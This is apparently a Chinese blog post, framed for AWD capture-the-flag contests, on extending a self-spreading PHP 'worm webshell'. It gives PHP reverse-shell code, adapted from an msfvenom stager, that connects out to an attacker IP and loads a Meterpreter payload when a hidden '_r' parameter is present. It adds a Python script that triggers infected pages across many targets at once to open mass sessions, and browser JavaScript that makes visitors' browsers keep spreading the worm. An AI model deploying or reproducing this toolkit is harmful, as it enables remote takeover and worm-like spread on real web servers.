适配msf、前端传播与awd中蠕虫webshell的反渗透思路
历史文章:蠕虫webshell代码功能详情:基于AWD比赛的蠕虫webshell蠕虫webshell复活框架:基于AWD比赛的蠕虫webshell(二)
0x00 适配meterpreter为了防止其他意外情况比如说有一些意外的情况,某些不支持命令执行函数,如禁用assert,system函数等等,使用msfvemon生成php的马,整合到蠕虫webshell当中,增加一个判断参数"_r"是否要反弹shell。
0x01 主要代码elseif(isset($_GET['_r'])){
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
}
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
}
if (!$s && ($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) {
die();
}
$s_type = 'socket';
}
if (!$s_type) {
die('no socket funcs');
}
if (!$s) {
die('no socket');
}
switch ($s_type) {
case 'stream':
$len = fread($s, 4);
break;
case 'socket':
$len = socket_read($s, 4);
break;
}
if (!$len) {
die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream':
$b.= fread($s, $len - strlen($b));
break;
case 'socket':
$b.= socket_read($s, $len - strlen($b));
break;
}
}
0x02 批量反弹shell
每个被感染的页面都可以加_r参数进行访问即可反弹shell到msf
批量访问http://192.168.1.X/.Conf_check.php?_r
后反弹shell到msf,meterpreter产生多个会话后,可以批量执行命令。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#writed by 3s_NwGeek
import requests,base64
from gevent import monkey
from gevent.pool import Pool
monkey.patch_all()
targets = open("C:\Users\\3s_NwGeek\Desktop\\target.txt").read().splitlines() #批量目标
local_bind_ip='192.168.3.1'
#上传提交地址
change_url = "http://TARGET-IP/.Conf_check.php?_r=%s"%(base64.b64encode(local_bind_ip))
def main(target):
try:
changeurl = change_url.replace('TARGET-IP', target) #页面的url
head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'}
requests.get(changeurl, headers=head,timeout=0.1)
except Exception as e:
print target,' : request was send'
pass
if __name__ == '__main__':
# main()
pool = Pool(len(targets)) #批量
pool.map(main, targets)
msfconsole命令: Msf5 exploit(multi/handler)>sessions -c whoami
为了方便更快速掌控,增加了前端传播功能,也就是现场比赛选手浏览者只要打开一个被蠕虫webshell感染的页面会自动循环跳转带参数“_”原生ajax请求进行传播。成功感染的php文件首先会带?_参数重新访问本页面。带这个参数访问会返回所有php文件的url,返回格式会带着eviltag标签,方便js提取。最终会循环随机访问在比赛举办方和其他队伍的流量监控中也不是只有一个人发起这种流量特征了,有一点点的混淆视听作用。
0x04 前端代码//循环
function sleep(delay) {
var start = new Date().getTime();
while (new Date().getTime() < start + delay);
}
function trans() {
const rurl = document.getElementsByTagName("eviltag")[Math.ceil(Math.random() * document.getElementsByTagName("eviltag").length)].innerHTML + "?_";
const rq = new XMLHttpRequest();
rq.open("get", rurl, false);
rq.send();
}
#判断是否带“_”参数
if (window.location.href.indexOf("?_") == -1) {
location.replace(window.location.href + "?_")
} else {
while (true) {
try {
trans()
} catch(e) {
console.log(e)
};
sleep(3000)
}
}
为了方便,我把它压缩成一行:
function sleep(delay){var start=new Date().getTime();while(new Date().getTime()
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?
立即登录/注册


微信扫码登录